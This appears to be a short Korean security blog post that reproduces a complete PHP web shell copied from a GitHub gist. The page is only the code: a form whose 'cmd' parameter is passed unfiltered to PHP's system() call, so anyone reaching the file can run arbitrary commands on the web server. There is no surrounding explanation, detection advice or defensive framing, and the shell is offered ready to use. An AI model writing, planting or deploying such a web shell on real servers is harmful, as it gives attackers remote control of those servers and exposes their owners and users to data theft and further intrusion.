🔒정보보안/웹 보안

웹 보안 - PHP 간단한 웹쉘(easy-simple-php-webshell.php)

Janger 2023. 2. 2. 16:09
728x90
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

 

출처: 

https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

 

easy-simple-php-webshell.php

GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

728x90